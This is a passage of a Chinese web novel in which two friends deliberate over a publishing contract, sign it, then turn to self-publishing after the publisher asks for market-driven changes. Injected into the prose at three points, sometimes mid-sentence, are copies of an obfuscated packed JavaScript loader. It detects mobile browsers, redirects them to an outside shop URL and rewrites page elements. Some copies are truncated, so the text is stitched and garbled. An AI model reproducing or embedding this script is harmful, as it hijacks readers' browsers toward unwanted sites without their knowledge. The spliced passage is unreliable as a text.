“不一样。”鸿雁摇头,“画展是阶段性的,作品发出去就结束了。但出版是持续的,是有后续的,是有期望的。一套书出版了,人们会期待下一套;一个风格成功了,人们会期待你保持这个风格。这种期待会形成压力,会限制自由。” 她喝了一口汤,继续说:“我害怕的还有改变。现在我们的创作节奏很自由,想快就快,想慢就慢,想停就停。出版后,我们有了时间表,有了截稿日,有了流程。这些都会改变我们的工作方式,甚至可能改变我们的关系。” 霜莉认真地听着,没有打断。她知道鸿雁需要把所有的担忧都说出来,才能开始面对它们。 “最重要的是,”鸿雁的声音低了下来,“我害怕失去自我。现在,我是鸿雁,是鱿鱼,是一个喜欢美食喜欢画画的普通人。出版后,我可能成为‘作者鸿雁’,‘插画家鸿雁’,一个需要维护公众形象,需要考虑市场定位,需要经营个人品牌的人。我不想成为那样的人。” 这些担忧真实而深刻,霜莉完全理解。她自己也想过这些问题,只是她的渴望压过了恐惧,而鸿雁的恐惧压过了渴望。 “你知道我最害怕什么吗?”霜莉终于开口,“我害怕错过。害怕十年后回头看,发现因为恐惧而错过了一个让作品发光的机会,错过了一个与更多人分享的机会,错过了一个与专业团队合作把作品做得更好的机会。” 她停顿了一下,整理思绪:“我也害怕平庸。不是作品的平庸——我相信我们的作品有价值——而是影响力的平庸。如果我们的理念、我们的思考、我们的创作方式只能被少数人看到,那么它的价值就有限。但如果通过出版,它能触及更多人,启发更多人,那么它的价值就放大了。” 鸿雁抬头看着她:“所以你更看重影响力?” “不完全是。”霜莉说,“我看重的是连接。创作对我而言,是与世界连接的方式,是与他人对话的方式,是理解生活的方式。出版可以扩大这种连接,深化这种对话,丰富这种理解。” 她指了指馄饨摊老板:“就像这碗馄饨,如果只有我们两个人吃,它的价值是满足我们的饥饿,带给我们温暖。但如果更多的人能吃到,它的价值就不仅是这些,还是手艺的传承,是深夜的慰藉,是城市的记忆。” 这个比喻让鸿雁思考。她看着碗里的馄饨,热气模糊了她的眼镜片。 “我明白你的意思。”她说,“但我担心的是,为了让更多人吃到,我们会不会改变馄饨的配方?会不会使用更便宜的原料?会不会简化制作的工序?” “这正是我们需要坚持的。”霜莉说,“我们可以扩大规模,但不降低质量;可以增加产量,但不牺牲标准;可以面对更多人,但不迎合所有人。” 老板走过来给她们加汤,听到了最后几句,难得地开口:“我做馄饨二十年,配方从来没变过。生意好的时候,生意差的时候,都是这个味道。有人喜欢,有人不喜欢,但喜欢的人会一直来。” 他加完汤就回到灶台前,继续包馄饨,动作熟练而专注。 鸿雁和霜莉相视一笑。老板无意中参与了她们的对话,却说得最在点子上。 “也许这就是答案。”鸿雁轻声说,“不变的是核心,变的是形式;不变的是品质,变的是规模;不变的是初心,变的是影响范围。” 霜莉点头:“我们可以把出版视为一种新形式,而不是本质的改变。就像馄饨可以用不同的碗装,可以在不同的地方卖,但馄饨还是馄饨,核心的味道不变。” “但如果出版社要求我们改变‘味道’呢?”鸿雁问出了最关键的担忧。 “那我们就不合作。”霜莉坚定地说,“这是我们的底线。林悦已经表示尊重我们的创作自主权,如果实际合作中出现违背这一原则的要求,我们可以行使合同中的退出权利。” 鸿雁思考着,慢慢吃着馄饨。夜更深了,出租车司机已经离开,那对情侣也走了,只剩下她们和那个看手机的青年。城市更加安静,馄饨摊的灯光在夜色中显得格外温暖。 “霜莉,”鸿雁突然说,“你知道我为什么喜欢和你合作吗?” “为什么?” “因为你能看见我。”鸿雁说,“不只是看见我的画,我的文字,我的创作,而是看见我这个人——我的恐惧,我的渴望,我的矛盾,我的真实。你尊重我的节奏,理解我的顾虑,不强迫我改变,但也不放任我逃避。” 霜莉感到眼眶发热:“你也一样。你能看见我最深的渴望,最真的梦想,最诚实的脆弱。你挑战我,也支持我;你质疑我,也相信我。我们一起创造了比各自单独创作更丰富的东西。” “这就是‘寻常’的核心,不是吗?”鸿雁说,“不是在宏大中寻找意义,而是在日常中建立连接;不是在辉煌中追求成功,而是在真实中创造价值;不是在完美中达到终点,而是在过程中共同成长。” 霜莉点头:“所以,无论我们是否出版,无论我们做什么决定,只要保持这个核心,就不会迷失。出版只是工具,不是目的;只是途径,不是终点;只是形式,不是本质。” 这个认识让两人都感到释然。问题不在于“是否出版”,而在于“如何出版”——如何在出版的过程中保持她们的核心价值,如何在商业的合作中保持创作的纯粹性,如何在扩大的影响中保持真实的自我。 “我想试试。”鸿雁终于说,“不是因为我被说服了,而是因为我想挑战自己的恐惧。我想看看,我能不能在出版的压力下保持创作的纯粹;我想看看,我能不能在商业的合作中保持真实的自我;我想看看,我能不能在变化的环境中保持内心的稳定。” 霜莉握住她的手:“我们会一起试试。互相提醒,互相支持,互相平衡。如果感觉不对,我们就调整;如果无法调整,我们就退出。主动权始终在我们手中。” “那我们就签吧。”鸿雁说,“但有一个条件:我们要定期评估,不仅是作品的进展,也是我们的状态,我们的关系,我们的初心。如果任何一方感到不适,我们都要诚实地说出来,然后一起解决。” “我同意。”霜莉说,“这是最重要的条件:不仅对作品负责,也对彼此负责,对我们的合作负责,对我们的友谊负责。” 她们举起茶杯,以茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122861|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代酒,轻轻碰杯。没有豪言壮语,只有简单的承诺:一起尝试,一起面对,一起成长。 馄饨吃完了,汤也喝光了。老板开始收拾,准备打烊。她们付了钱,道了谢,走进凌晨的街道。 空气清冷,但心中温暖。路灯把她们的影子拉得很长,时而分开,时而重叠。 “你知道吗,”鸿雁说,“今晚的对话让我想起《豆腐山林》里的一句话:‘真正的深度不是没有恐惧,而是带着恐惧前行;真正的勇气不是没有怀疑,而是在怀疑中做出选择。’” 霜莉微笑:“我们正在实践自己写下的智慧。这感觉好奇妙。” “也许这就是创作的意义。”鸿雁说,“不仅创造故事,也活出故事;不仅书写人物,也成为人物;不仅构建世界,也栖居其中。” 她们在霜莉家楼下分别。鸿雁要步行回去,霜莉想陪她,但鸿雁说:“我想一个人走一段,消化今晚的对话。放心,我不会再逃跑了。明天见,我们签合同,开始新的旅程。” “明天见。”霜莉拥抱了她,“谢谢你愿意尝试,谢谢你愿意信任,谢谢你愿意面对恐惧。” 鸿雁回以拥抱:“谢谢你愿意等待,谢谢你愿意理解,谢谢你愿意坚持。” 分开后,霜莉站在楼下,看着鸿雁的背影消失在街角。夜空中,几颗星星在城市的灯光污染中隐约可见,微弱但坚定地闪烁。 她想起《豆腐山林》的结尾:苏寻味离开叶静心的山林,继续她的食探之旅,但带着新的深度;叶静心继续她的隐居生活,但多了对外界的理解。她们没有变成一样的人,但都因为相遇而改变,都因为对话而成长。 她和鸿雁也一样。不会因为出版变成完全不同的人,但会在过程中学习、调整、成长。重要的是,她们一起,保持对话,保持理解,保持连接。 回到家,糯米已经醒了,在笼子里好奇地看着她。霜莉把它放出来,让它在自己肩上趴着。 “糯米,妈妈和鱿鱼阿姨做了一个重要的决定。”她轻声说,“我们会试试出版,但会小心地试,聪明地试,真实地试。我们会保护对我们最重要的东西:创作的纯粹,合作的真挚,友谊的深厚。” 糯米吱吱叫了两声,像是在表示赞同。 霜莉笑了,走到书桌前,打开日记本,写下今晚的对话和决定。不是作为任务的记录,而是作为生命的见证。 写完后,她站在窗前,看着外面沉睡的城市。在这个寻常的深夜,在一个寻常的馄饨摊,她们进行了一次不寻常的对话,做出了一次重要的决定。 但这只是开始。签合同是简单的,难的是在后续的合作中保持初心,平衡各方,持续成长。 不过,至少她们有了清晰的共识:友谊第一,创作第二,商业第三。在这个基础上,她们可以尝试任何可能性,面对任何挑战。 因为她们在一起。 因为她们互相看见。 因为她们共同成长。 这就是“寻常”组合最核心的力量,也是“食味江湖”最根本的价值。 在真实中创造,在连接中成长,在对话中前行。 无论出版与否,无论成功与否,无论改变与否。 这个核心不会变。 这个承诺不会变。 这个友谊不会变。 这就够了。 足够勇敢,足够真实,足够温暖。 足够面对任何诱惑,任何恐惧,任何挑战。 深夜过去,黎明将至。新的一天,新的旅程,新的尝试。 而她,准备好了。 与鱿鱼一起,与“寻常”一起,与“食味江湖”一起。 继续创作,继续探索,继续成长。 在约束中创造自由,在商业中保持纯粹,在变化中坚守核心。 这就是她们的路。 而她们,已经走在这条路上。 带着深夜的真心话,带着馄饨的温暖,带着彼此的承诺。 继续前行。 一直继续。 25. 达成共识 周六上午十点,霜莉和鸿雁并排坐在出版社的会议室里。面前是最终版的出版合同,旁边放着两支笔。林悦坐在对面,她的助理准备了茶水和点心。 但会议没有立即开始。林悦看着两人,敏锐地察觉到气氛与之前不同——不是单纯的紧张或兴奋,而是一种深思熟虑后的平静。 “在签合同之前,”霜莉先开口,“我们想再确认一些事情。” 林悦点头:“请说,这是应该的。” 鸿雁拿出一个笔记本,上面列着她们昨晚讨论后达成的共识要点。“我们愿意签署这份合同,但基于以下理解: “第一,创作自主权是绝对的。任何内容的修改,无论是文字还是图像,必须经过我们双方同意。出版社可以提供专业建议,但最终决定权在我们。 “第二,时间表是指导性的,不是强制性的。如果创作需要更多时间,我们会提前沟通,协商调整。质量优先于速度。 “第三,营销活动必须符合我们的理念。我们不参与过度商业化的推广,不接受不符合我们形象的包装。 “第四,合作是双向评估的。我们会定期评估合作状态,如果任何一方感到不适,可以提出重新协商或友好终止。 “第五,最重要的是,‘寻常’组合的核心是创作和友谊,不是商业成功。无论合作进行到哪一步,这个核心不会改变。” 林悦认真听着,做笔记,然后抬起头,眼中带着赞许:“这些原则不仅合理,而且明智。实际上,它们与我们的合作理念完全一致。” 她从文件夹中拿出一份补充协议:“基于我们之前的讨论,我已经起草了这份补充协议,正式确认你们提到的这些原则。我们可以把它作为主合同的附件,具有同等法律效力。” 霜莉和鸿雁惊讶地接过补充协议,快速阅读。条款明确而具体,几乎逐条对应了她们的要求。林悦不仅理解了她们的担忧,而且用专业的方式将其转化为法律保障。 “你怎么……”鸿雁有些说不出话。 林悦微笑:“因为我也是创作者出身。我学的是文学编辑,年轻时也写过诗,知道创作的脆弱和珍贵。我进入出版行业,就是希望能搭建桥梁——连接优秀的创作者和等待他们的读者,同时保护创作的本质不被商业侵蚀。” 她顿了顿,继续说:“‘食味江湖’打动我的,正是它的纯粹和深度。如果为了出版而损害了这些品质,那就本末倒置了。我的目标是帮助这个系列找到它的读者,而不是改变它去迎合不存在的‘大众市场’。” 这番话彻底打消了鸿雁最后的顾虑。她看向霜莉,两人交换了一个眼神,然后同时点头。 “那我们签字吧。”霜莉说。 签字过程简单而庄重。霜莉先签,她的名字“青砚”签得流畅而坚定;鸿雁接着签,她的本名“鸿雁”签得稍显犹豫,但最后一笔落下时,有一种释然的果断。 林悦作为出版社代表签字,然后助理用公章。合同正式生效。 “恭喜。”林悦与她们握手,“欢迎加入我们的作者家庭。我保证,我们会尽最大努力,让《豆腐山林》以它应有的样子与读者见面。” 签字仪式后,林悦带她们参观了出版社的各个部门:编辑部、设计部、营销部、发行部。每个部门的同事都热情欢迎,介绍他们的工作,表达对《食味江湖》的期待。 在设计部,她们见到了负责《豆腐山林》的设计师小陈。他已经有了初步的设计方案:封面采用淡雅的宣纸质感,书名用毛笔字体,配以鸿雁的一幅水墨风格插图。内页设计注重阅读舒适度和图文配合。 “我的理念是,设计应该隐身,让内容成为主角。”小陈说,“我不会用夸张的设计抢走文字和图像的风头,而是创造一个安静、舒适、有质感的阅读空间。” 这个理念深得鸿雁的心。她和小陈讨论了纸张选择、印刷工艺、装帧方式等技术细节,发现他不仅专业,而且真正理解并尊重作品的气质。 在营销部,负责人李姐介绍了初步的推广计划:“我们不会做硬性的广告推销,而是通过内容营销:在美食、文学、艺术类媒体发布书评和专访;在独立书店举办小型的作者分享会;在社交媒体上进行有深度的内容传播。” 她特别强调:“我们会突出作品的独特性——不是又一本美食书或小说,而是一种新的创作形式,一次深度的文化探索。我们寻找的是那些真正懂得欣赏这种独特性的读者,而不是泛泛的大众。” 整个参观让霜莉和鸿雁对出版流程有了更具体的了解,也对出版社的专业和诚意有了更深的信心。这不仅是商业合作,更是专业伙伴的加入,是资源的支持,是共同目标的追求。 午餐时间,林悦请她们在出版社附近的餐厅吃饭。气氛轻松愉快,大家聊创作,聊美食,聊文化,更像是朋友间的聚会,而不是商业应酬。 “你知道吗,”林悦在甜点上桌时说,“我做编辑这么多年,最开心的时刻就是遇到像你们这样的创作者——清楚自己要什么,坚持自己的理念,但也不排斥专业的合作。这样的合作最有潜力产出真正的好作品。” 霜莉说:“我们也觉得很幸运,遇到了理解并尊重我们的编辑和出版社。这让我们对出版有了新的认识——不一定是商业对艺术的侵蚀,也可以是专业对创作的支持。” 鸿雁点头:“我之前把出版想得太负面了。今天看到整个团队的专业和热情,我意识到,好的出版就像好的烹饪:需要专业的技艺,精心的准备,用心的呈现,但核心还是食材本身——我们的创作。” 这个比喻让大家都笑了。林悦说:“那我们就一起做一顿好饭,让《豆腐山林》以最好的状态呈现在读者面前。” 下午回到工作室,霜莉和鸿雁都有些疲惫,但心中充满了一种平静的满足。合同签了,决定做了,新的阶段开始了。 她们没有立即投入工作,而是坐在工作室的地板上,靠着书架,像往常无数个创作日那样。 “感觉如何?”霜莉问。 鸿雁思考了一下:“比我想象的轻松。不是因为责任轻了,而是因为心里踏实了。我们明确了原则,设定了界限,保留了退路。现在我可以专注于创作本身,而不是担心商业压力。” “我也有同感。”霜莉说,“现在出版的压力变成了创作的动力——不是要产出符合市场的东西,而是要把我们已经创造的东西以最好的形式呈现出来。” 她们讨论了接下来的具体工作:霜莉需要根据编辑建议对《豆腐山林》的文字进行最后的润色;鸿雁需要提供高精度的插图文件,并与设计师沟通细节;两人还要一起准备作者简介、创作手记等附加内容。 “时间表上,林悦给了我们三个月的时间完成所有准备。”霜莉查看日程,“不算紧张,但也不松散。我们需要制定一个详细的工作计划。” “我们可以保持每周创作会的节奏,”鸿雁建议,“但增加一些专项讨论:这周讨论文字修改,下周讨论插图调整,下下周讨论附加内容。这样既有节奏,又有重点。” “好主意。”霜莉在笔记本上记录,“我们还可以定期与林悦和小陈开进度会议,确保各方信息同步,问题及时解决。” 计划制定后,她们感到一种清晰的行动方向。出版不再是一个模糊的压力,而是一系列具体的任务;不再是一个抽象的担忧,而是一个可管理的过程。 傍晚,霜莉准备离开时,鸿雁叫住了她:“等一下,我有东西给你。” 她从工作台的抽屉里拿出一个小盒子,递给霜莉。里面是两枚手工制作的胸针:一枚是毛笔和画刷交叉的图案,一枚是碗和筷子的图案。材质是黄铜,设计简洁但有质感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122862|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我设计的,请朋友做的。”鸿雁说,“毛笔和画刷代表我们的创作,碗和筷子代表我们的主题。算是庆祝我们达成共识,开始新阶段的纪念。” 霜莉感动地接过:“真漂亮。我们应该经常戴着,提醒自己为什么要做这一切。” 鸿雁点头:“对,在忙碌的时候,在压力的时候,在困惑的时候,看看这个胸针,想起我们的核心:创作和友谊,食物和故事,深度和真实。” 她们互相帮忙别上胸针。霜莉戴了毛笔和画刷,鸿雁戴了碗和筷子。简单的饰品,却有深刻的意义。 离开工作室时,夕阳正好。金色的光芒洒在街道上,给一切都镀上了温暖的色彩。霜莉走在回家的路上,手不时触摸胸针,感受它的形状和质感。 这是一个普通的周六傍晚,但对她和鸿雁来说,是一个重要的日子。她们签了出版合同,开始了新的创作阶段,但更重要的是,她们在诱惑和恐惧面前保持了清醒,在机会和风险之间找到了平衡,在商业和艺术之间达成了共识。 这不容易,但她们做到了。通过深入的对话,通过彼此的信任,通过清晰的界限,通过共同的承诺。 前方,出版之路刚刚开始,会有挑战,会有困难,会有压力。但至少,她们有了明确的原则,有了专业的伙伴,有了彼此的扶持。 这就够了。 足够勇敢,足够聪明,足够真实。 回到家,霜莉在日记中写下了今天的经历和感受。不是作为任务,而是作为纪念。 写完后,她站在窗前,看着夕阳慢慢沉入城市的天际线。胸针在余晖中微微闪光,像一个小小的承诺,一个温柔的提醒。 手机响了,是鸿雁发来的消息:“刚刚又看了一遍《豆腐山林》的初稿,发现一个小问题:第三章第七页,苏寻味品尝豆腐时的表情描写,可以更细腻一些。我画那个场景时,捕捉到了一种混合了成就感和不确定性的复杂表情,也许文字可以呼应。” 霜莉笑了,回复:“好的,我明天修改。这就是我们合作的意义:互相补充,互相深化,互相完善。” 鸿雁回复:“对,无论出版与否,无论成功与否,这个核心不会变。” “永远不会变。”霜莉回复。 夕阳完全落下,夜晚来临。城市灯火渐次亮起,每一个窗户后面都有故事,每一个灯光下面都有生活。 而在这个城市的一个角落里,两个创作者开始了她们的新旅程:带着共识,带着原则,带着友谊,带着对创作和生活的热爱。 出版是工具,不是目的;是途径,不是终点;是形式,不是本质。 本质是创作,是友谊,是真实,是深度,是连接,是成长。 而这些,她们已经有了,也会一直保持。 无论路走多远,无论世界多大,无论变化多少。 这个核心不会变。 这个承诺不会变。 这个“寻常”不会变。 在名利面前,在机会面前,在商业面前,在压力面前。 保持真实,保持纯粹,保持深度,保持连接。 这就是她们的选择,这就是她们的路。 而她们,已经走在这条路上。 带着共识,带着胸针,带着彼此的承诺。 继续前行。 一直继续。 因为创作没有终点,只有不断的新开始。 因为友谊没有极限,只有不断的深连接。 因为生活没有答案,只有不断的真探索。 而她们,有幸一起,在这条无尽的路上。 创作,成长,连接,真实。 这就是“寻常”。 这就是她们。 这就是“食味江湖”。 在共识达成之后,在合同签署之后,在旅程开始之后。 26. 自出版计划 林悦的邮件在周一上午到达,语气依然专业而尊重,但内容让霜莉和鸿雁都沉默了。 “基于市场部门的进一步评估,我们建议对《豆腐山林》进行一些调整,以更好地适应目标读者群。”邮件中写道,“具体建议包括:简化部分哲学性对话,增加情节的戏剧性冲突,插图风格可以更‘亲民’一些,减少抽象表达……” 附件里是一份详细的修改清单,列出了十七处建议修改的地方。每一条都合理,都专业,都“符合市场规律”,但每一条都让霜莉和鸿雁感到心头一紧。 “你看第三条,”鸿雁指着屏幕,“‘苏寻味与叶静心的最终对话过于抽象,建议加入更具体的情感表达或情节转折’。但那段对话的抽象性正是它的力量所在啊,那是两个灵魂在深层的相遇,不是简单的情节推进。” 霜莉点头:“还有这条,‘插图风格可以更明亮鲜艳,减少水墨的灰调,以吸引更广泛的读者’。但灰调正是你想要表达的意境——那种山林间的朦胧,那种内心的微妙,那种传统的含蓄。” 她们看着这份建议清单,知道林悦是好意,出版社是专业的,市场分析可能是准确的。但这些建议指向的方向,正是她们最害怕的:为了适应更广泛的读者而稀释作品的独特性,为了追求市场成功而妥协艺术表达。 “我们可以谈判,”霜莉说,但声音里已经没有了之前的坚定,“我们可以解释为什么这些部分重要,为什么不能改。” 鸿雁摇头:“问题是,他们可能理解,但市场部门不理解。林悦是编辑,她上面还有营销、市场、管理层。即使她个人尊重我们,整个出版社的机器运转起来,压力会层层传递。” 她站起身,在工作室里踱步:“签约时我们很兴奋,觉得找到了理解我们的伙伴。但现在看来,理解是一回事,商业现实是另一回事。出版社毕竟是要盈利的,当艺术与商业冲突时,艺术往往要让步。” 霜莉看着那份修改清单,心中涌起复杂的情绪。一方面,她知道出版机会来之不易;另一方面,她更清楚《豆腐山林》的每一个字、每一幅画都是她们精心打磨的,任何改动都可能破坏整体的和谐。 “我有一个疯狂的想法。”鸿雁突然停下脚步,“我们不一定要走传统出版的路。” 霜莉抬头:“什么意思?” “自出版。”鸿雁说,眼睛亮了起来,“我们自己设计,自己印刷,自己发行。不通过出版社,完全由我们掌控。” 这个想法太大胆,霜莉一时反应不过来:“自出版?但我们没有经验,没有资源,没有发行渠道……” “但我们有作品,有理念,有决心。”鸿雁越说越兴奋,“而且现在技术发达,小批量印刷成本不高,网络平台可以提供销售渠道。最重要的是,我们可以完全按照自己的想法来做这本书,不需要妥协,不需要调整,不需要迎合任何人。” 霜莉思考着这个可能性。自出版确实能解决创作自主权的问题,但也意味着所有的工作都要自己承担:从编辑校对到设计排版,从印刷制作到营销发行,从客服物流到财务管理…… “这会是巨大的工作量。”她说,“我们本来时间就不多,自出版会占用大量创作时间。” “但这是为了我们的创作本身。”鸿雁坐回她对面,“与其花时间谈判、修改、妥协,不如花时间把作品以最纯粹的形式呈现出来。而且,我们可以慢慢来,不设截止日期,不求商业成功,只求做出我们理想中的书。” 这个想法开始打动霜莉。她想象着一本完全由她们掌控的书:从内容到形式,从纸张到装帧,每一个细节都体现着她们的审美和理念。不需要向任何人解释为什么这段对话重要,为什么那幅画不能改,为什么这个设计最合适。 “但我们得先和林悦沟通。”霜莉说,“不能就这样单方面决定。毕竟我们已经签了合同。” 鸿雁点头:“当然。我们要坦诚地告诉她我们的想法和担忧,看看有没有第三种方案。如果出版社能接受不做这些修改,我们仍然可以合作。如果不能……” “我们就自出版。”霜莉接上她的话。 她们花了整个下午准备与林悦的沟通。不是对抗性的,而是建设性的:列出她们不能妥协的核心部分,解释这些部分对作品的意义,提出可能的替代方案,同时也表达对自出版的开放态度。 周二上午的视频会议,气氛比预想的要平静。霜莉和鸿雁轮流表达了她们的顾虑,林悦认真倾听,偶尔点头。 “我理解你们的感受。”林悦在听完后说,“说实话,当我收到市场部的修改建议时,我也有些犹豫。我知道这些建议是出于商业考量,但我也知道它们可能损害作品的独特性。” 她顿了顿,继续说:“作为编辑,我的角色是桥梁——连接创作者和读者,连接艺术和商业。但有时候,这两端的要求确实难以调和。” “所以我们的想法是,”霜莉小心地说,“如果出版社坚持这些修改,我们可能要考虑终止合作。不是不尊重你们的专业,而是我们必须保护作品的完整性。” 林悦沉默了一会儿,然后说:“我尊重你们的决定。事实上,我欣赏这种坚持。在这个行业里,太多的创作者在商业压力下妥协,最终作品失去了最初的灵魂。” 她看着屏幕上的两人:“如果你们决定自出版,我会理解。甚至,如果你们需要一些专业建议,我可以以朋友的身份提供帮助——当然是免费的,不涉及出版社利益。” 这个回应出乎霜莉和鸿雁的意料。她们原本准备面对的是失望甚至不满,没想到得到的是理解和支持。 “你真的不介意?”鸿雁问。 林悦微笑:“我进入出版行业,是因为热爱好书,热爱好故事。如果为了保护一本好书而放弃传统的出版方式,我认为这是值得尊重的选择。而且,”她眨了眨眼,“如果你们的自出版成功了,也许未来我们还能以其他形式合作。” 会议在友好的气氛中结束。林悦承诺会协助处理合同终止事宜(基于双方同意的前提),并提供了几个自出版可能需要的资源联系方式。 挂断视频后,霜莉和鸿雁相视良久,然后同时笑了——不是轻松的笑,而是释然的笑,坚定的笑。 “所以,我们真的要自出版了。”霜莉说。 “我们真的要自出版了。”鸿雁重复,语气中带着一种冒险的兴奋。 接下来的几天,她们开始了自出版的筹备工作。第一步是研究:了解小批量印刷的选项,比较不同的印刷厂,研究纸张类型和装帧方式,了解线上销售平台的规则和费用。 信息量巨大,术语陌生,选择繁多。但两人都投入了极大的热情,像是探索一片新大陆。每天晚上,工作室的地板上都摊满了纸张样品、印刷样本、成本估算表。 “看这种纸,”鸿雁拿着一份哑粉纸样本,“质感很好,适合印刷插图,但成本太高了,如果印一百本,单本成本会超过我们的定价预算。” 霜莉对比着几种纸张:“也许我们可以做两种版本?少量精装版用好的纸,定价高一些;普通平装版用实惠的纸,让更多读者能买得起。” “好主意!”鸿雁在笔记本上记下,“精装版可以做手工编号,增加收藏价值。平装版注重内容本身,价格亲民。” 她们还讨论了设计问题。鸿雁坚持要自己设计版面,而不是交给专业设计师。“我不是不相信设计师,但我最了解我的画和你的文字如何配合。我知道哪里需要留白,哪里需要强调,哪里需要图文对话。” 霜莉同意:“而且,我们自己设计可以保持一贯的美学。从封面到内页,从字体到间距,每一个细节都体现‘食味江湖’的气质。” 最大的挑战是资金。自出版需要预付印刷费用,这对她们来说是一笔不小的开支。她们计算了各种方案:最少印多少本能保本?定价多少能既覆盖成本又让读者接受?是否需要预售来筹集资金? “我有些积蓄,”鸿雁说,“可以拿出来作为启动资金。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122863|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我也有,”霜莉说,“但我们不能把所有积蓄都投进去,风险太大了。” 她们决定采取保守策略:先做小批量测试,如果反响好再考虑加印。同时开启预售,用预售资金覆盖部分印刷成本。 另一个挑战是发行。传统出版社有成熟的发行网络,自出版者则需要自己建立销售渠道。她们计划主要依靠线上平台:自己的博客、社交媒体、美食和文学类网站。同时联系几家熟悉的独立书店,看是否愿意代销。 “我们可以做一个小型的首发活动,”霜莉提议,“在我们常去的茶馆,邀请朋友和早期读者,现场签售,分享创作故事。这样既能销售,又能建立与读者的直接连接。” 鸿雁眼睛一亮:“还可以配合一些体验环节,比如品尝故事中提到的食物,尝试简单的豆腐制作。让书不只是商品,而是一次完整的文化体验。” 计划逐渐成形,细节越来越清晰。每天晚上,她们都在工作室的白板上更新进度:已完成的研究,待决定的事项,需要的资源,时间预估。 两周后,她们有了完整的自出版计划书:包括预算、时间表、分工、营销策略、风险评估。虽然不如出版社的专业,但充满了她们的个人特色和对作品的深刻理解。 周五晚上,她们在工作室里举行了简单的“自出版计划启动仪式”。没有香槟,只有两杯清茶;没有嘉宾,只有两只宠物。但仪式感十足:她们在白板上画下了整个计划的蓝图,然后在蓝图下郑重地签下了自己的名字。 “从今天起,”霜莉说,“我们不仅是创作者,也是出版人。我们要对自己的作品负责到底——从创作到呈现,从生产到传播。” 鸿雁举起茶杯:“为了纯粹,为了自主,为了勇气,为了我们理想中的《食味江湖》。” 茶杯轻碰,声音清脆。窗外,城市灯火闪烁;窗内,两个创作者开启了新的冒险。 那天深夜,霜莉在日记中写道: “今天我们正式启动了自出版计划。放弃了传统出版的机会,选择了更艰难但更自主的道路。 “这不是一时冲动,而是深思熟虑后的决定。我们意识到,有些作品不能妥协,有些价值不能交易,有些坚持比成功更重要。 “自出版意味着所有的工作都要自己承担:设计、印刷、营销、发行……每一个环节都是挑战。但每一个环节也都是机会——机会让作品完全按照我们的设想呈现,机会与读者建立更直接的连接,机会学习全新的技能和知识。 “这可能会失败。可能会亏钱,可能会无人问津,可能会疲惫不堪。但即使失败,我们也会学到宝贵的经验,也会拥有完全属于我们的作品,也会保持创作的纯粹和友谊的真挚。 “而如果成功——不是商业上的巨大成功,而是做出了一本我们真正自豪的书,找到了一群真正懂得欣赏的读者,那将是无价的收获。 “感谢鸿雁的勇气和坚持。感谢林悦的理解和支持。感谢我们自己,在诱惑面前保持了清醒,在压力面前保持了坚定。 “现在,旅程开始了。不是别人设定的旅程,是我们自己选择的旅程。不是已知的坦途,是探索的小径。 “但至少,我们走在一起,走向我们相信的方向。 “自出版,自创造,自成长。 “为了‘食味江湖’,为了‘寻常’组合,为了创作本身,为了友谊长存。 “继续前行,带着决心,带着智慧,带着希望。 “明天,太阳照常升起,工作正式开始。 “而我们,准备好了。” 写完后,霜莉走到窗前。夜深了,城市渐渐安静,但她的心中充满了声音:印刷机的转动声,翻书的沙沙声,读者的交谈声,还有她和鸿雁讨论设计时的笑声…… 这些声音交织成一首歌,一首关于创作、自主、勇气和友谊的歌。 而她,正站在这首歌的起点,与最好的伙伴一起,准备唱出第一个音符。 自出版的旅程,开始了。 27. 分工协作 工作室的白板被分成了四个区域:内容制作、设计排版、印刷生产、营销发行。每个区域下面列着详细的任务清单,用不同颜色的马克笔标注了负责人和截止日期。 霜莉和鸿雁站在白板前,手里各拿着一支笔和一杯已经凉了的咖啡。这是她们自出版计划启动后的第一个正式工作日,任务艰巨,但两人眼中都闪烁着专注的光芒。 “我们先从内容制作开始。”霜莉用笔指着白板的第一个区域,“文字的最后润色是我的主要任务,但我需要你的反馈。特别是那些与插图直接相关的段落,要确保文字和画面的呼应准确。” 鸿雁点头:“我可以每天抽一小时专门读你的修改稿,做批注。同时,我要准备插图的高清文件,调整色彩,确保印刷效果。这部分工作量大,但技术性不强,可以在你写作的时候同步进行。” 她们讨论着具体的时间安排。霜莉计划每天早上专注写作三小时,下午处理其他事务;鸿雁则上午准备插图,下午进行初步的版面设计尝试。晚上是共同的讨论时间,复盘当天进度,解决问题。 “设计排版是我们最大的挑战。”鸿雁转向白板的第二个区域,“我虽然有美术基础,但书籍设计是全新的领域。我需要学习排版软件,研究字体搭配,理解印刷要求。” 霜莉已经做了些功课:“我找了一些书籍设计的基础教程,也下载了试用版的排版软件。我们可以一起学习,互相讨论。重要的是找到适合‘食味江湖’气质的风格——不能太现代,不能太传统,要在古今之间找到平衡。” 